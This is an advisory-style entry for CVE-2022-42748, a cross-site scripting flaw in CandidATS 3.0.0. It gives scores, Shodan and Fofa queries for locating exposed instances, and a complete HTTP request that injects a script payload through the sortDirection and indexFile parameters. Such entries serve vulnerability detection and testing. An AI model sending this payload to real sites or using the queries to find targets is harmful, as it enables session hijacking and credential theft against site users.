| Title | CandidATS 3.0.0 - Cross-Site Scripting. |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02714 |
| CVE ID | CVE-2022-42748 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"CandidATS"http.html:"candidats" |
| Fofa Query | body="candidats" |
| Tags | cve cve2022 candidats xss auieo vuln |
CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortDirection parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42748.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-42748.pcap
N/AN/A